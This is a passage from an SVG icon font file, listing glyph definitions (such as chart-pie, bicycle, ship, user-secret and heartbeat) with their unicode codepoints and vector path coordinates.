d="M256 440c138.023 0 248 -87.6533 248 -224c0 -75.7979 -41.3906 -147.41 -150.299 -147.41c-30.0977 0 -61.1885 -0.000976562 -70.71 34.1035c-17.6221 -22.6963 -48.0068 -38.333 -74.9912 -38.333c-59.2148 0 -96 40.5664 -96 105.87
c0 89.2256 63.251 151.46 137.831 151.46c19.5225 0 45.2744 -3.87402 59.9707 -21.7754l0.00976562 0.0917969c0.751953 6.62012 6.76953 11.9932 13.4326 11.9932v0h44.9805c15.083 0 26.4287 -13.75 23.5625 -28.5586l-23.4336 -121.11
c-3.43359 -17.167 -3.87207 -29.5703 13.4766 -30.0244c37.0771 3.95117 58.1699 44.9072 58.1699 83.6934c0 102.381 -83.8613 160 -184 160c-101.458 0 -184 -82.542 -184 -184s82.542 -184 184 -184c35.3145 0 69.9199 10.2432 99.4102 29.1572
c10.1934 6.53809 23.7021 4.24219 31.373 -5.12891l10.1768 -12.4336c9.07324 -11.084 6.45312 -27.5566 -5.55176 -35.3721c-40.0664 -26.083 -87.2539 -40.2227 -135.408 -40.2227c-137.081 0 -248 110.941 -248 248c0 137.081 110.941 248 248 248zM234.32 135.57
c24.2861 0 58.1611 27.6689 58.1611 72.7295c0 25.5293 -13.3096 40.7705 -35.6016 40.7705c-27.8506 0 -58.6299 -27.7363 -58.6299 -72.7295c0 -25.1475 13.8213 -40.7705 36.0703 -40.7705z" />
    <glyph glyph-name="eye-dropper" unicode="&#xf1fb;" 
d="M50.75 114.75l126.63 126.61l128 -128l-126.64 -126.62c-12 -12 -28.2803 -18.7402 -45.25 -18.7402h-45.4902l-56 -32l-32 32l32 56v45.4902c0 16.9795 6.75 33.2598 18.75 45.2598zM483.88 419.88c37.5 -37.4902 37.5 -98.2695 -0.00976562 -135.75l-77.0898 -77.0898
l13.0996 -13.0996c9.37012 -9.37012 9.37012 -24.5703 0 -33.9404l-40.9697 -40.96c-9.29004 -9.30957 -24.5 -9.44043 -33.9404 0l-161.939 161.94c-9.37012 9.36914 -9.37012 24.5693 0 33.9395l40.9697 40.9697c9.29004 9.31055 24.5 9.44043 33.9404 0l13.0996 -13.0996
l77.0898 77.0898c37.4697 37.5 98.2803 37.5 135.75 0z" />
    <glyph glyph-name="paint-brush" unicode="&#xf1fc;" 
d="M167.02 138.66l88.0107 -73.3398c0.319336 -3.05078 0.969727 -6.02051 0.969727 -9.12988c0 -76.4209 -52.1396 -120.19 -128 -120.19c-90.0703 0 -128 72.3799 -128.01 154.73c9.79004 -6.68066 44.1396 -34.3506 55.25 -34.3506
c6.58984 0 12.2402 3.77051 14.5898 9.98047c20.6602 54.4395 57.0703 69.7197 97.1895 72.2998zM457.89 448c28.1104 0 54.1104 -20.6396 54.1104 -49.5498c0 -16.1406 -6.51953 -31.6406 -13.9004 -45.9902c-113.05 -210.99 -149.05 -256.46 -211.159 -256.46
c-7.75 0 -15.1807 1.23047 -22.3906 3.03027l-63.8193 53.1797c-5.48047 11.9404 -8.73047 25 -8.73047 38.7002c0 53.75 21.2695 58.04 225.68 240.64c10.8398 9.74023 25.0508 16.4502 40.21 16.4502z" />
    <glyph glyph-name="birthday-cake" unicode="&#xf1fd;" horiz-adv-x="448" 
d="M448 64c-28.0195 0 -31.2598 32 -74.5 32c-43.4297 0 -46.8252 -32 -74.75 -32c-27.6953 0 -31.4541 32 -74.75 32c-42.8418 0 -47.2178 -32 -74.5 -32c-28.1484 0 -31.2021 32 -74.75 32c-43.5469 0 -46.6533 -32 -74.75 -32v80c0 26.5 21.5 48 48 48h16v144h64v-144h64
v144h64v-144h64v144h64v-144h16c26.5 0 48 -21.5 48 -48v-80zM448 -64h-448v96c43.3564 0 46.7666 32 74.75 32c27.9512 0 31.2529 -32 74.75 -32c42.8428 0 47.2168 32 74.5 32c28.1484 0 31.2012 -32 74.75 -32c43.3574 0 46.7666 32 74.75 32
c27.4883 0 31.252 -32 74.5 -32v-96zM96 352c-17.75 0 -32 14.25 -32 32c0 31 32 23 32 64c12 0 32 -29.5 32 -56s-14.25 -40 -32 -40zM224 352c-17.75 0 -32 14.25 -32 32c0 31 32 23 32 64c12 0 32 -29.5 32 -56s-14.25 -40 -32 -40zM352 352c-17.75 0 -32 14.25 -32 32
c0 31 32 23 32 64c12 0 32 -29.5 32 -56s-14.25 -40 -32 -40z" />
    <glyph glyph-name="chart-area" unicode="&#xf1fe;" 
d="M500 64c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-488c-6.59961 0 -12 5.40039 -12 12v360c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-308h436zM372.7 288.5c6 4 14.2002 1.7998 17.3994 -4.7002l89.9004 -187.8h-384v104
l86.7998 144.7c4.40039 7.2998 14.7998 7.7998 19.9004 1l85.2998 -113.7z" />
    <glyph glyph-name="chart-pie" unicode="&#xf200;" horiz-adv-x="544" 
d="M527.79 160c9.5498 0 17.4004 -8.38965 16.0596 -17.8496c-7.80957 -55.25 -34.4297 -104.4 -73.1299 -140.86c-6.20996 -5.84961 -16.1494 -5.36035 -22.1895 0.679688l-158.03 158.03h237.29zM511.96 224.8c0.629883 -9.12012 -7.0498 -16.7998 -16.1904 -16.7998
h-223.77v223.76c0 9.14062 7.67969 16.8301 16.7998 16.2002c119.46 -8.24023 214.92 -103.7 223.16 -223.16zM224 160l155.86 -155.87c6.84961 -6.84961 6.33008 -18.4795 -1.57031 -24.0801c-38.29 -27.1602 -84.8604 -43.3994 -135.26 -44.0303
c-128.2 -1.60938 -238.53 103.471 -242.891 231.61c-4.23926 124.771 86.8506 228.88 206.021 245.72c9.4502 1.34082 17.8398 -6.50977 17.8398 -16.0596v-237.29z" />
    <glyph glyph-name="chart-line" unicode="&#xf201;" 
d="M496 64c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-464c-17.6699 0 -32 14.3301 -32 32v336c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-304h432zM464 352c8.83984 0 16 -7.16016 15.9902 -16v-118.05
c0 -21.3799 -25.8506 -32.0898 -40.9707 -16.9697l-32.3994 32.3994l-96 -96c-12.4902 -12.5 -32.75 -12.5 -45.25 0l-73.3701 73.3701l-46.0596 -46.0703c-6.25 -6.25 -16.3809 -6.25 -22.6309 0l-22.6191 22.6201c-6.25 6.25 -6.25 16.3799 0 22.6299l68.6895 68.6904
c12.4902 12.5 32.75 12.5 45.25 0l73.3701 -73.3701l73.3701 73.3799l-32.4004 32.4004c-15.1201 15.1201 -4.41016 40.9697 16.9707 40.9697h118.06z" />
    <glyph glyph-name="toggle-off" unicode="&#xf204;" horiz-adv-x="576" 
d="M384 384c106.039 0 192 -85.9609 192 -192s-85.9609 -192 -192 -192h-192c-106.039 0 -192 85.9609 -192 192s85.9609 192 192 192h192zM64 192c0 -70.751 57.2588 -128 128 -128c70.751 0 128 57.2588 128 128c0 70.751 -57.2588 128 -128 128
c-70.751 0 -128 -57.2588 -128 -128zM384 64c70.751 0 128 57.2598 128 128c0 70.751 -57.2588 128 -128 128h-48.9053c65.2363 -72.8799 65.2168 -183.142 0 -256h48.9053z" />
    <glyph glyph-name="toggle-on" unicode="&#xf205;" horiz-adv-x="576" 
d="M384 384c106 0 192 -86 192 -192s-86 -192 -192 -192h-192c-106 0 -192 86 -192 192s86 192 192 192h192zM384 64c70.7002 0 128 57.2002 128 128c0 70.7002 -57.2002 128 -128 128c-70.7002 0 -128 -57.2002 -128 -128c0 -70.7002 57.2002 -128 128 -128z" />
    <glyph glyph-name="bicycle" unicode="&#xf206;" horiz-adv-x="640" 
d="M512.509 255.999c70.9502 -0.276367 128.562 -59.0547 127.477 -129.996c-1.07422 -70.1934 -58.6494 -126.681 -129.255 -125.996c-68.8301 0.667969 -126.584 58.8857 -126.729 127.719c-0.078125 37.3564 15.8516 70.9893 41.3066 94.4375l-14.9375 24.0674
l-85.9619 -138.863c-3.88477 -6.27441 -13.0264 -11.3672 -20.4062 -11.3672h-52.0332c-14.209 -55.207 -64.3252 -96 -123.967 -96c-70.9473 0 -128.415 57.7207 -128 128.764c0.410156 70.2246 58.0918 127.406 128.317 127.236
c15.0879 -0.0371094 29.5586 -2.69043 42.9912 -7.51953l29.417 47.5195h-48.7256c-13.1191 0 -23.7627 10.5186 -23.9951 23.5635c-0.241211 13.4375 11.0947 24.4365 24.5361 24.4365h87.459c8.83691 0 16 -7.16309 16 -16v-16h113.544l-14.8955 24h-50.6494
c-8.83691 0 -16 7.16309 -16 16v16c0 8.83691 7.16309 16 16 16h64h0.000976562c7.36914 0 16.5049 -5.08203 20.3906 -11.3428l77.6807 -125.153c14.4053 5.54004 30.0625 8.55957 46.4355 8.49512zM186.75 182.228l-23.6641 -38.2275h43.3057
c-2.96875 14.5674 -9.91504 27.6992 -19.6416 38.2275zM128.002 48c32.7383 0 60.9297 19.7754 73.2998 48h-81.2998c-18.7891 0 -30.2871 20.6729 -20.4062 36.6318l45.5049 73.5088c-5.5127 1.20605 -11.2295 1.85938 -17.0986 1.85938c-44.1123 0 -80 -35.8877 -80 -80
s35.8877 -80 80 -80zM290.632 144l74.2861 120h-127.547l-24.7461 -39.9736c22.8271 -20.1328 38.4229 -48.2705 42.3828 -80.0264h35.624zM507.689 48.1143c46.0605 -2.43164 84.3115 34.3447 84.3125 79.8848c0 44.1123 -35.8877 80 -80 80h-0.0390625
c-5.55664 0 -14.4355 -1.11914 -19.8193 -2.49707l44.4688 -71.6426c4.66113 -7.50879 2.35156 -17.3721 -5.15625 -22.0322l-13.5938 -8.4375c-7.50879 -4.65918 -17.3721 -2.35156 -22.0322 5.15625l-44.4326 71.5859
c-12.7021 -14.7451 -20.1475 -34.1416 -19.3359 -55.2627c1.57812 -41.0635 34.5918 -74.5898 75.6279 -76.7549z" />
    <glyph glyph-name="bus" unicode="&#xf207;" 
d="M488 320c13.25 0 24 -10.7402 24 -24v-80c0 -13.25 -10.75 -24 -24 -24h-8v-166.4c0 -12.7998 -9.59961 -25.5996 -25.5996 -25.5996h-6.40039v-32c0 -17.6699 -14.3301 -32 -32 -32h-32c-17.6699 0 -32 14.3301 -32 32v32h-192v-32c0 -17.6699 -14.3301 -32 -32 -32h-32
c-17.6699 0 -32 14.3301 -32 32v32c-17.6699 0 -32 14.3301 -32 32v160h-8c-13.25 0 -24 10.75 -24 24v80c0 13.2598 10.75 24 24 24h8v48c0 44.7998 99.2002 80 224 80s224 -35.2002 224 -80v-48h8zM112 48c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32
s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM128 160h256c17.6699 0 32 14.3301 32 32v128c0 17.6699 -14.3301 32 -32 32h-256c-17.6699 0 -32 -14.3301 -32 -32v-128c0 -17.6699 14.3301 -32 32 -32zM400 48c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32
s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" />
    <glyph glyph-name="closed-captioning" unicode="&#xf20a;" 
d="M464 384c26.5 0 48 -21.5 48 -48v-288c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v288c0 26.5 21.5 48 48 48h416zM218.1 160.3c-41.1992 -37.8994 -92.1992 -15.3994 -92.2998 32.6006c0 46.0996 53.7998 63.1992 94.6006 31.1992
c2.89941 -2.2998 7.19922 -1.39941 9.09961 1.7002l17.5 30.5c1.5 2.5 1.09961 3.7002 -1 5.7002c-50.7998 49.4004 -172.5 27.2002 -172.5 -70.0996c0 -100 119.2 -124.7 172.8 -67.9004c2 2.09961 2.2002 5.2998 0.5 7.7002l-19.5 27.7002
c-2.09961 3 -6.39941 3.39941 -9.2002 0.899414zM408.5 160.3c-41.2002 -37.8994 -92.2002 -15.3994 -92.2002 32.6006c0 46.0996 53.7998 63.1992 94.6006 31.1992c2.89941 -2.2998 7.19922 -1.39941 9.09961 1.7002l17.5 30.5c1.5 2.5 1.09961 3.7002 -1 5.7002
c-50.7998 49.4004 -172.5 27.2002 -172.5 -70.0996c0 -100 119.2 -124.801 172.7 -67.9004c2 2.09961 2.2002 5.2998 0.5 7.7002l-19.5 27.7002c-2.10059 3 -6.40039 3.39941 -9.2002 0.899414z" />
    <glyph glyph-name="shekel-sign" unicode="&#xf20b;" horiz-adv-x="448" 
d="M248 280c0 30.9297 -25.0703 56 -56 56h-112v-352c0 -8.83984 -7.16016 -16 -16 -16h-48c-8.83984 0 -16 7.16016 -16 16v408c0 13.2598 10.75 24 24 24h168c75.1104 0 136 -60.8896 136 -136v-168c0 -8.83984 -7.16016 -16 -16 -16h-48c-8.83984 0 -16 7.16016 -16 16
v168zM432 416c8.83984 0 16 -7.16016 16 -16v-296c0 -75.1104 -60.8896 -136 -136 -136h-168c-13.25 0 -24 10.75 -24 24v280c0 8.83984 7.16016 16 16 16h48c8.83984 0 16 -7.16016 16 -16v-224h112c30.9297 0 56 25.0703 56 56v296c0 8.83984 7.16016 16 16 16h48z" />
    <glyph glyph-name="cart-plus" unicode="&#xf217;" horiz-adv-x="576" 
d="M504.717 128h-293.145l6.54492 -32h268.418c15.4004 0 26.8154 -14.3008 23.4033 -29.3193l-5.51758 -24.2754c18.6914 -9.07324 31.5791 -28.2334 31.5791 -50.4053c0 -31.2021 -25.5186 -56.4443 -56.8242 -55.9941
c-29.8232 0.428711 -54.3496 24.6309 -55.1543 54.4473c-0.44043 16.2871 6.08496 31.0488 16.8027 41.5479h-209.648c10.377 -10.166 16.8242 -24.3271 16.8242 -40.001c0 -31.8135 -26.5283 -57.4307 -58.6699 -55.9385c-28.54 1.3252 -51.751 24.3857 -53.251 52.917
c-1.1582 22.0342 10.4355 41.4551 28.0508 51.5869l-70.2471 343.435h-69.8828c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24h102.529c11.4004 0 21.2275 -8.02148 23.5127 -19.1904l9.16602 -44.8096h392.782
c15.4004 0 26.8154 -14.3008 23.4023 -29.3193l-47.2725 -208c-2.4834 -10.9268 -12.1973 -18.6807 -23.4033 -18.6807zM408 280h-48v40c0 8.83691 -7.16309 16 -16 16h-16c-8.83691 0 -16 -7.16309 -16 -16v-40h-48c-8.83691 0 -16 -7.16309 -16 -16v-16
c0 -8.83691 7.16309 -16 16 -16h48v-40c0 -8.83691 7.16309 -16 16 -16h16c8.83691 0 16 7.16309 16 16v40h48c8.83691 0 16 7.16309 16 16v16c0 8.83691 -7.16309 16 -16 16z" />
    <glyph glyph-name="cart-arrow-down" unicode="&#xf218;" horiz-adv-x="576" 
d="M504.717 128h-293.145l6.54492 -32h268.418c15.4004 0 26.8154 -14.3008 23.4033 -29.3193l-5.51758 -24.2754c18.6914 -9.07324 31.5791 -28.2334 31.5791 -50.4053c0 -31.2021 -25.5186 -56.4443 -56.8242 -55.9941
c-29.8232 0.428711 -54.3496 24.6309 -55.1543 54.4473c-0.44043 16.2871 6.08496 31.0488 16.8027 41.5479h-209.648c10.377 -10.166 16.8242 -24.3271 16.8242 -40.001c0 -31.8135 -26.5283 -57.4307 -58.6699 -55.9385c-28.54 1.3252 -51.751 24.3857 -53.251 52.917
c-1.1582 22.0342 10.4355 41.4551 28.0508 51.5869l-70.2471 343.435h-69.8828c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24h102.529c11.4004 0 21.2275 -8.02148 23.5127 -19.1904l9.16602 -44.8096h392.782
c15.4004 0 26.8154 -14.3008 23.4023 -29.3193l-47.2725 -208c-2.4834 -10.9268 -12.1973 -18.6807 -23.4033 -18.6807zM403.029 256h-43.0293v60c0 6.62695 -5.37305 12 -12 12h-24c-6.62695 0 -12 -5.37305 -12 -12v-60h-43.0293
c-10.6904 0 -16.0449 -12.9258 -8.48438 -20.4854l67.0283 -67.0283c4.68652 -4.68652 12.2842 -4.68652 16.9717 0l67.0283 67.0283c7.55957 7.55957 2.20508 20.4854 -8.48535 20.4854z" />
    <glyph glyph-name="ship" unicode="&#xf21a;" horiz-adv-x="640" 
d="M496.616 75.3613c17.8418 -44.3604 58.5664 -75.3613 119.384 -75.3613c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24c-61.0322 0 -107.505 20.6162 -143.258 59.3965c-14.4189 -34.8281 -48.7637 -59.3965 -88.7422 -59.3965h-128
c-39.9785 0 -74.3232 24.5684 -88.7422 59.3965c-35.7588 -38.7861 -82.2344 -59.3965 -143.258 -59.3965c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24c61.5869 0 101.828 31.7129 119.384 75.3613l-70.0117 70.0117
c-16.918 16.9189 -9.91699 45.7793 12.8359 53.0918l41.792 13.4336v140.102c0 17.6729 14.3271 32 32 32h64v40c0 13.2549 10.7451 24 24 24h144c13.2549 0 24 -10.7451 24 -24v-40h64c17.6729 0 32 -14.3271 32 -32v-140.102l41.792 -13.4336
c22.7783 -7.32129 29.7354 -36.1914 12.8359 -53.0918zM192 320v-87.5312l118.208 37.9951c2.63574 0.847656 7.02344 1.53516 9.79199 1.53516s7.15625 -0.6875 9.79199 -1.53516l118.208 -37.9951v87.5312h-256z" />
    <glyph glyph-name="user-secret" unicode="&#xf21b;" horiz-adv-x="448" 
d="M383.9 139.7c38.2998 -23.7002 64.0996 -65.7002 64.0996 -114.101v-44.7998c0 -24.7002 -20.0996 -44.7998 -44.7998 -44.7998h-358.4c-24.7002 0 -44.7998 20.0996 -44.7998 44.7998v44.7998c0 49.7002 27.2998 92.6006 67.4004 115.9l-25.8008 60.2002
c-4.5 10.5996 3.2002 22.2998 14.7002 22.2998h57.5c-11 18.9004 -17.7998 40.5996 -17.7998 64v0.299805c-39.2002 7.7998 -64 19.1006 -64 31.7002c0 13.2998 27.2998 25.0996 70 33c9.2002 32.7998 27.0996 65.7998 40.5996 82.7998
c9.5 11.9004 25.9004 15.6006 39.5 8.7998l27.6006 -13.7998c9 -4.5 19.5996 -4.5 28.5996 0l27.6006 13.7998c13.5996 6.80078 30 3.10059 39.5 -8.7998c13.5996 -17 31.3994 -50 40.5996 -82.7998c42.7998 -7.90039 70.0996 -19.7002 70.0996 -33
c0 -12.5996 -24.7998 -23.9004 -64 -31.7002v-0.299805c0 -23.4004 -6.7998 -45.0996 -17.7998 -64h58.5c11.2998 0 19 -11.2002 15 -21.7002zM176 -32l32 120l-24 40l-49.5996 32zM272 -32l41.5996 192l-49.5996 -32l-24 -40zM313.7 266.5
c0.799805 2.59961 6.2998 5.7002 6.39941 5.7998v10.7998c-28.2998 -3.69922 -61 -5.7998 -96 -5.7998s-67.6992 2.2002 -96 5.7998v-10.7998c0 -0.0996094 5.5 -3.2998 6.30078 -5.7998c3.7998 -11.9004 7 -24.5996 16.5 -33.4004c8 -7.39941 47 -25.1992 64 25
c2.89941 8.40039 15.5 8.40039 18.2998 0c16 -47.3994 53.8994 -34.2998 64 -25c9.5 8.80078 12.5996 21.5 16.5 33.4004z" />
    <glyph glyph-name="motorcycle" unicode="&#xf21c;" horiz-adv-x="640" 
d="M512.9 256c69.5996 -0.5 126.5 -57.2998 127.199 -126.9c0.600586 -71.5996 -57.5996 -129.8 -129.199 -129.1c-69.6006 0.599609 -126.301 57.5 -126.801 127.1c-0.299805 39.3008 17.2002 74.5 44.8008 98.2002l-12.5 20.7998
c-38.7002 -31.2998 -58.3008 -77.8994 -56.2002 -125c0.599609 -13.6992 -10.2998 -25.0996 -24 -25.0996h-84.2002c-14.2998 -55.2002 -64.4004 -96 -124 -96c-71.7002 0 -129.6 58.9004 -128 131c1.59961 67.4004 55.9004 122.5 123.2 124.9
c14.3994 0.5 28.2998 -1.30078 41.2998 -5.2002l11.2998 20.5c-9.09961 13.8994 -23.2998 24.7998 -47.7998 24.7998h-56c-13.0996 0 -23.7998 10.5 -24 23.5c-0.299805 13.5 11 24.5 24.5 24.5h55.5c55 0 82.2002 -16.9004 99.9004 -40h153.699l-19.1992 32h-66.4004
c-8.7998 0 -16 7.2002 -16 16v16c0 8.7998 7.2002 16 16 16h80c8.40039 0 16.2002 -4.40039 20.5996 -11.5996l22.8008 -38l37.5 41.6992c4.5 5 11 7.90039 17.7998 7.90039h45.2998c13.2998 0 24 -10.7002 24 -24v-32c0 -13.2998 -10.7002 -24 -24 -24h-82.4004
l32.9004 -54.9004c13.2998 4.60059 27.5 7 42.4004 6.90039zM128 48c32.7002 0 60.9004 19.7998 73.2998 48h-81.2998c-18.2002 0 -29.7998 19.5996 -21 35.5996l41.5 75.4004c-4.09961 0.700195 -8.2998 1 -12.5 1c-44.0996 0 -80 -35.9004 -80 -80s35.9004 -80 80 -80z
M591.9 123.6c2.39941 46.1006 -34.3008 84.4004 -79.9004 84.3008c-5.40039 0 -10.7002 -0.5 -15.9004 -1.60059l48.6006 -80.8994c4.5 -7.60059 2.09961 -17.5 -5.5 -22l-13.7002 -8.2002c-7.59961 -4.5 -17.5 -2.10059 -22 5.5l-49.4004 82.3994
c-13.6992 -14.2998 -22.0996 -33.6992 -22.0996 -55.0996c0 -45.5996 38.2998 -82.4004 84.4004 -79.9004c40.5 2.10059 73.2998 34.9004 75.5 75.5z" />
    <glyph glyph-name="street-view" unicode="&#xf21d;" 
d="M367.9 118.24c85.2295 -15.5801 144.1 -48.29 144.1 -86.2402c0 -53.0195 -114.62 -96 -256 -96s-256 42.9805 -256 96c0 37.9502 58.8701 70.6602 144.1 86.2402c4.62012 -5.2998 9.78027 -10.1006 15.9004 -13.6504v-22.9395
c-66.5195 -9.35059 -112 -28.0508 -112 -49.6504c0 -30.9297 93.1201 -56 208 -56s208 25.0703 208 56c0 21.5996 -45.4805 40.3096 -112 49.6504v22.9395c6.12012 3.5498 11.2803 8.35059 15.9004 13.6504zM256 320c-35.3496 0 -64 28.6504 -64 64s28.6504 64 64 64
s64 -28.6504 64 -64s-28.6504 -64 -64 -64zM192 128c-17.6699 0 -32 14.3301 -32 32v96c0 26.5098 21.4902 48 48 48h11.7998c11.0703 -5.03027 23.2598 -8 36.2002 -8s25.1299 2.96973 36.2002 8h11.7998c26.5098 0 48 -21.4902 48 -48v-96
c0 -17.6699 -14.3301 -32 -32 -32v-96c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v96z" />
    <glyph glyph-name="heartbeat" unicode="&#xf21e;" 
d="M320.2 204.2l22.0996 -44.2002h109.101l-182.601 -186.5c-7.09961 -7.2998 -18.5996 -7.2998 -25.7002 0l-182.5 186.5h94.1006l30 71.7002l56.8994 -126.3c5.5 -12.3008 22.9004 -12.7002 28.9004 -0.600586zM473.7 374.1
c48.7002 -49.7998 50.7998 -129.1 7.2998 -182.1h-118.9l-27.5996 55.2002c-5.90039 11.7998 -22.7002 11.7998 -28.5996 0l-49 -97.9004l-58.2002 129.3c-5.7998 12.8008 -24 12.5 -29.4004 -0.399414l-35.8994 -86.2002h-102.4c-43.5 53 -41.4004 132.3 7.2998 182.1
l2.40039 2.40039c51.5 52.7002 135.899 52.7002 187.399 0l27.9004 -28.5l27.9004 28.5996c51.5996 52.6006 135.899 52.6006 187.399 0z" />
    <glyph glyph-name="venus" unicode="&#xf221;" horiz-adv-x="288" 
d="M288 272c0 -68.5 -47.9004 -125.9 -112 -140.4v-51.5996h36c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-36v-36c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v36h-36c-6.59961 0 -12 5.40039 -12 12v40
c0 6.59961 5.40039 12 12 12h36v51.5996c-64.0996 14.5 -112 71.9004 -112 140.4c0 79.5 64.5 144 144 144s144 -64.5 144 -144zM64 272c0 -44.0996 35.9004 -80 80 -80s80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80z" />
    <glyph glyph-name="mars" unicode="&#xf222;" horiz-adv-x="384" 
d="M372 384c6.59961 0 12 -5.40039 12 -12v-79c0 -10.7002 -12.9004 -16.0996 -20.5 -8.5l-16.9004 16.9004l-80.6992 -80.7002c14 -22.2002 22.0996 -48.5 22.0996 -76.7002c0 -79.5 -64.5 -144 -144 -144s-144 64.5 -144 144s64.5 144 144 144
c28.2002 0 54.5 -8.09961 76.7002 -22.0996l80.7002 80.6992l-16.9004 16.9004c-7.5 7.59961 -2.2002 20.5 8.5 20.5h79zM144 64c44.0996 0 80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80s35.9004 -80 80 -80z" />
    <glyph glyph-name="mercury" unicode="&#xf223;" horiz-adv-x="288" 
d="M288 240c0 -68.5 -47.9004 -125.9 -112 -140.4v-51.5996h36c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-36v-36c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v36h-36c-6.59961 0 -12 5.40039 -12 12v40
c0 6.59961 5.40039 12 12 12h36v51.5996c-64.0996 14.5 -112 71.9004 -112 140.4c0 44.2002 19.9004 83.7002 51.2002 110c-2.5 1.90039 -4.90039 3.7998 -7.2002 5.7998c-24.7998 21.2002 -39.7998 48.7998 -43.2002 78.9004
c-0.899414 7.09961 4.7002 13.2998 11.9004 13.2998h40.5c5.7002 0 10.5996 -4.09961 11.7002 -9.7998c2.5 -12.5 9.59961 -24.2998 20.6992 -33.7998c15.4004 -13.2002 36.1006 -20.4004 58.4004 -20.4004s43 7.2002 58.2998 20.4004
c11.1006 9.5 18.2998 21.2998 20.7002 33.7998c1.09961 5.7002 6 9.7998 11.7998 9.7998h40.5c7.2002 0 12.7998 -6.2002 11.9004 -13.2998c-3.40039 -30 -18.5 -57.6006 -43.2002 -78.7998c-2.2998 -2 -4.7002 -4 -7.2002 -5.80078
c31.2998 -26.3994 51.2002 -65.8994 51.2002 -110.1zM64 240c0 -44.0996 35.9004 -80 80 -80s80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80z" />
    <glyph glyph-name="transgender" unicode="&#xf224;" horiz-adv-x="384" 
d="M372 448c6.59961 0 12 -5.40039 12 -12v-79c0 -10.7002 -12.9004 -16.0996 -20.5 -8.5l-16.9004 16.9004l-80.6992 -80.7002c14 -22.2002 22.0996 -48.5 22.0996 -76.7002c0 -68.5 -47.9004 -125.8 -112 -140.4v-27.5996h36c6.59961 0 12 -5.40039 12 -12v-40
c0 -6.59961 -5.40039 -12 -12 -12h-36v-28c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v28h-36c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h36v27.5996c-64.0996 14.5 -112 71.9004 -112 140.4c0 79.5 64.5 144 144 144
c28.2002 0 54.5 -8.09961 76.7002 -22.0996l80.7002 80.6992l-16.9004 16.9004c-7.5 7.59961 -2.2002 20.5 8.5 20.5h79zM144 128c44.0996 0 80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80s35.9004 -80 80 -80z" />
    <glyph glyph-name="transgender-alt" unicode="&#xf225;" horiz-adv-x="480" 
d="M468 448c6.59961 0 12 -5.40039 12 -12v-79c0 -10.7002 -12.9004 -16.0996 -20.5 -8.5l-16.9004 16.9004l-80.6992 -80.7002c14 -22.2002 22.0996 -48.5 22.0996 -76.7002c0 -68.5 -47.9004 -125.8 -112 -140.4v-27.5996h36c6.59961 0 12 -5.40039 12 -12v-40
c0 -6.59961 -5.40039 -12 -12 -12h-36v-28c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v28h-36c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h36v27.5996c-64.0996 14.5 -112 71.9004 -112 140.4
c0 28.2002 8.09961 54.5 22.2002 76.5996l-16.5 16.5l-19.7998 -19.7998c-4.7002 -4.7002 -12.3008 -4.7002 -17 0l-28.3008 28.2998c-4.69922 4.7002 -4.69922 12.3008 0 17l19.8008 19.8008l-19 19l-16.9004 -16.9004c-7.59961 -7.5 -20.5 -2.2002 -20.5 8.5v79
c0 6.59961 5.40039 12 12 12h79c10.7002 0 16.0996 -12.9004 8.40039 -20.4004l-16.9004 -16.8994l19 -19l19.7998 19.7998c4.7002 4.7002 12.2998 4.7002 17 0l28.2998 -28.2998c4.7002 -4.7002 4.7002 -12.2998 0 -17l-19.7998 -19.7998l16.5 -16.5
c22.2002 14 48.5 22.0996 76.7002 22.0996s54.5 -8.09961 76.7002 -22.0996l80.7002 80.6992l-16.9004 16.9004c-7.5 7.59961 -2.2002 20.5 8.5 20.5h79zM240 128c44.0996 0 80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80s35.9004 -80 80 -80z" />
    <glyph glyph-name="venus-double" unicode="&#xf226;" 
d="M288 272c0 -68.5 -47.9004 -125.9 -112 -140.4v-51.5996h36c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-36v-36c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v36h-36c-6.59961 0 -12 5.40039 -12 12v40
c0 6.59961 5.40039 12 12 12h36v51.5996c-64.0996 14.5 -112 71.9004 -112 140.4c0 79.5 64.5 144 144 144s144 -64.5 144 -144zM64 272c0 -44.0996 35.9004 -80 80 -80s80 35.9004 80 80s-35.9004 80 -80 80s-80 -35.9004 -80 -80zM400 131.6v-51.5996h36
c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-36v-36c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v36h-36c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h36v51.5996
